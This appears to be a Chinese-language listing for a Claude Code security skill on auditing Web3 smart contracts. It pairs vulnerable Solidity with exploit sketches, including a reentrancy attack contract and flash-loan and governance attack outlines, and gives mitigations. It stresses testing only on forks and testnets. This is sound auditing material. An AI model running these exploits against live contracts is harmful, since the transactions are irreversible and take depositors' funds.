关于 exploiting-web3-smart-contracts
面向智能合约审计人员和 Web3 测试人员的安全技能,涵盖合约、DeFi 协议及 NFT 平台的漏洞分析。通过利用示例与缓解方法说明风险,并强调在分叉或测试网上验证发现,而非操作真实合约。
主要功能
- 01检查常见合约漏洞
- 02涵盖 DeFi 与 NFT 攻击模式
- 03提供 Solidity 示例与缓解方法
- 04列出分析和测试工具
- 05强调在分叉与测试网上验证
适用场景
- 01评估智能合约的访问控制缺陷
- 02在模拟环境中测试 DeFi 逻辑
- 03检查预言机与抢先交易风险
- 04评估 NFT 铸造和元数据风险
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ trilwu/ secskills --skill exploiting-web3-smart-contracts安装后在 Claude Code 中输入/exploiting-web3-smart-contracts确认已加载。
附带文件references/tooling-and-testing.md
详细介绍
利用 Web3 和智能合约
适用场景
- 智能合约安全审计
- DeFi 协议测试
- Web3 应用渗透测试
- 区块链漏洞评估
- NFT 平台安全
范围与授权。 已部署到主网的合约不是测试目标。 它是一个托管他人资金的在线系统,而且无需许可——因此从技术上讲没有什么能阻止你——但一旦进行交易,操作就不可逆。这些都不意味着你获得了利用合约的授权。
- 在分叉链上测试,绝不触碰主网。 在本地分叉链 (Anvil、Hardhat、Tenderly)或测试网部署上验证每项发现。没有正当理由对在线合约运行有效的漏洞利用。
- 相关法律尚未定论——这应当让你保持谨慎,而不是心存侥幸。 两起备受关注的起诉最终对利用者有利:2023 年 12 月,巴黎法院宣判 Platypus Finance 案中的两名被告无罪,认为调用公开智能合约不属于未经授权访问,操纵紧急提款也不符合欺诈标准;2025 年 5 月,美国法官因审判地点问题以及缺乏充分的虚假陈述证据,撤销了 Avraham Eisenberg 在 Mango Markets 案中的定罪,检方已对此裁决提起上诉。不要将这些裁决理解为许可。两案都取决于特定司法管辖区的事实,Platypus 案法院明确表示民事责任仍未解决;而在所有这些案件中,被告都曾遭逮捕、资金被扣押,并经历数年诉讼才最终胜诉。最终胜诉不等于获得授权。
- 漏洞赏金计划的范围狭窄且按字面执行。 Immunefi 类计划通常要求在分叉链上提供验证,禁止在主网上利用漏洞和影响真实用户,并规定了具体的披露渠道。测试前应阅读具体计划的范围,而不是事后才看。
- 未经审计 ≠ 已被遗弃。 部署者匿名或不活跃,并不意味着合约无人所有;存款人仍是可识别的受害者。
对于你不拥有的合约,只能基于源代码进行分析和模拟,并通过项目公布的渠道或协调平台披露问题。
不适用场景
- dApp 前端或后端中的常规 Web 漏洞——使用
testing-web-applications和auditing-code-for-vulnerabilities - 密码学原语审查——使用
reviewing-cryptography - 撰写审计报告——使用
reporting-security-findings
环境设置
安装工具:
# Node.js and npm
curl -fsSL https://deb.nodesource.com/setup_18.x | sudo -E bash -
sudo apt install -y nodejs
# Hardhat (Ethereum development)
npm install --save-dev hardhat
# Foundry (Rust-based toolkit)
curl -L https://foundry.paradigm.xyz | bash
foundryup
# Slither (static analysis)
pip3 install slither-analyzer
# Mythril (security analysis)
pip3 install mythril
连接到网络:
// Ethereum Mainnet via Infura
const Web3 = require('web3');
const web3 = new Web3('https://mainnet.infura.io/v3/YOUR_KEY');
// Local development (Hardhat/Ganache)
const web3 = new Web3('http://127.0.0.1:8545');
常见智能合约漏洞
1. 重入攻击
存在漏洞的合约:
contract Vulnerable {
mapping(address => uint) public balances;
function withdraw() public {
uint amount = balances[msg.sender];
// Vulnerable: external call before state update
(bool success,) = msg.sender.call{value: amount}("");
require(success);
balances[msg.sender] = 0; // State update after call
}
}
利用方法:
contract Attack {
Vulnerable victim;
constructor(address _victim) {
victim = Vulnerable(_victim);
}
function attack() public payable {
victim.deposit{value: 1 ether}();
victim.withdraw();
}
fallback() external payable {
if (address(victim).balance >= 1 ether) {
victim.withdraw(); // Reenter
}
}
}
防护措施:
- 检查-效果-交互模式
- ReentrancyGuard 修饰符
- 使用 transfer() 代替 call()
2. 整数溢出/下溢
存在漏洞的代码(Solidity < 0.8.0):
function transfer(address _to, uint256 _value) public {
require(balances[msg.sender] - _value >= 0); // Can underflow
balances[msg.sender] -= _value;
balances[_to] += _value; // Can overflow
}
利用方法:
// Send more tokens than you have
// balances[msg.sender] = 1
// _value = 2
// 1 - 2 = 2^256 - 1 (underflow)
防护措施:
- 使用 Solidity >= 0.8.0(自动检查)
- 使用 SafeMath 库
- 手动检查溢出
3. 访问控制问题
存在漏洞的代码:
function withdraw() public {
// Missing access control!
msg.sender.transfer(address(this).balance);
}
function setOwner(address _owner) public {
owner = _owner; // Anyone can become owner
}
利用方法:
// Call withdraw from any address
await contract.withdraw();
// Become owner
await contract.setOwner(attackerAddress);
防护措施:
modifier onlyOwner() {
require(msg.sender == owner, "Not owner");
_;
}
function withdraw() public onlyOwner {
msg.sender.transfer(address(this).balance);
}
4. 未检查的外部调用
存在漏洞的代码:
function callExternal(address target) public {
target.call(""); // Return value not checked
}
function sendEther(address payable recipient) public {
recipient.send(1 ether); // Silently fails if send() returns false
}
防护措施:
(bool success,) = target.call("");
require(success, "Call failed");
5. Delegatecall 注入
存在漏洞的代码:
function forward(address _target, bytes memory _data) public {
_target.delegatecall(_data); // Executes in contract's context
}
利用方法:
// Attacker can modify contract storage
// Call selfdestruct()
// Change owner
防护措施:
- 避免对用户可控地址使用 delegatecall
- 将允许的目标地址列入白名单
- 改用库
6. 抢先交易 / MEV
场景:
// DEX swap at specific price
function swap(uint256 amountIn) public {
uint256 amountOut = getAmountOut(amountIn);
// Attacker sees this in mempool
// Submits transaction with higher gas to execute first
// Changes the price before victim's tx
}
MEV 攻击:
- 抢先交易
- 跟随交易
- 三明治攻击
- 清算
- 套利
缓解措施:
- 提交-揭示方案
- 私有内存池(Flashbots)
- 滑点保护
- 尽量减少链上信息披露
7. 价格预言机操纵
存在漏洞的代码:
// Using single DEX as price source
function getPrice() public view returns (uint256) {
return uniswapPair.getReserves();
}
利用方法:
// Flash loan attack
// 1. Borrow large amount
// 2. Manipulate DEX price
// 3. Interact with vulnerable contract
// 4. Repay flash loan
// 5. Profit
防护措施:
- 使用时间加权平均价格(TWAP)
- 使用多个预言机来源(Chainlink)
- 延迟更新价格
- 设置价格上下限
8. 拒绝服务
易受攻击:
function distribute() public {
for (uint i = 0; i < users.length; i++) {
users[i].transfer(amount); // Can run out of gas
}
}
function withdraw() public {
// Winner takes all
require(msg.sender == topBidder);
msg.sender.transfer(address(this).balance);
}
利用方式:
- 创建一个拒绝接收以太币的合约(在回退函数中回滚)
- 成为最高出价者
- 阻止任何人获胜
防范措施:
- 采用拉取而非推送模式
- 设置 Gas 限制
- 设置紧急停止机制
审计工具
有关详细的工具专属命令参考(Slither、Mythril、Securify、 Echidna、Manticore)以及 Hardhat/Foundry 测试框架,请参阅 references/tooling-and-testing.md。
DeFi 专属攻击
闪电贷攻击
interface IFlashLoan {
function flashLoan(uint256 amount) external;
}
contract FlashLoanExploit {
function exploit() external {
// 1. Borrow flash loan
IFlashLoan(lender).flashLoan(1000000 ether);
}
function executeOperation(uint256 amount) external {
// 2. Manipulate price oracle
// 3. Exploit vulnerable contract
// 4. Repay flash loan + fee
// 5. Keep profit
}
}
无常损失利用
- 操纵资金池比例
- 从流动性提供者处提取价值
- 套利价格差异
治理攻击
// Flash loan to get voting power
// Vote on malicious proposal
// Execute immediately
// Repay loan
Web3 前端漏洞
钱包连接:
// Vulnerable: No signature verification
const signature = await signer.signMessage(message);
// Attacker can replay signature
// Secure: Include nonce and timestamp
const message = `Nonce: ${nonce}\nTimestamp: ${timestamp}`;
交易模拟:
// Before sending transaction
const result = await contract.callStatic.functionName(args);
// Verify expected outcome
区块链取证
Etherscan API:
# Get contract source
curl "https://api.etherscan.io/api?module=contract&action=getsourcecode&address=0x..."
# Get transactions
curl "https://api.etherscan.io/api?module=account&action=txlist&address=0x..."
交易分析:
// Get transaction
const tx = await web3.eth.getTransaction(txHash);
// Get receipt
const receipt = await web3.eth.getTransactionReceipt(txHash);
// Decode input data
const decoded = contract.interface.parseTransaction({ data: tx.input });
事件监控:
// Listen for events
contract.on("Transfer", (from, to, amount) => {
console.log(`Transfer: ${from} -> ${to}: ${amount}`);
});
// Past events
const events = await contract.queryFilter("Transfer", fromBlock, toBlock);
NFT 专属漏洞
元数据操纵:
- 集中式元数据存储
- 可变的 tokenURI
- IPFS 固定问题
铸造漏洞利用:
// Reentrancy in minting
function mint() external payable {
require(msg.value == price);
(bool success,) = owner.call{value: msg.value}(""); // Vulnerable
_mint(msg.sender, tokenId++);
}
版税绕过:
- 直接转移 NFT
- 绕过市场手续费
- 洗售交易
在主网分叉上测试
Hardhat 和 Foundry 的主网分叉配置记录在 references/tooling-and-testing.md 中。
工具概要
分析:
- Slither - 静态分析器
- Mythril - 安全扫描器
- Manticore - 符号执行工具
- Echidna - 模糊测试器
开发:
- Hardhat - 开发环境
- Foundry - 基于 Rust 的工具包
- Remix - 在线 IDE
- Truffle - 开发框架
监控:
- Etherscan - 区块浏览器
- Tenderly - 调试平台
- OpenZeppelin Defender - 安全监控
安全最佳实践
- 使用最新版本的 Solidity(>= 0.8.0)
- 遵循 检查-效果-交互模式
- 限制 外部调用
- 验证 所有输入
- 使用 成熟的库(OpenZeppelin)
- 实施 访问控制
- 添加 紧急暂停功能
- 进行 专业审计
- 充分使用 测试网
- 监控 部署后的合约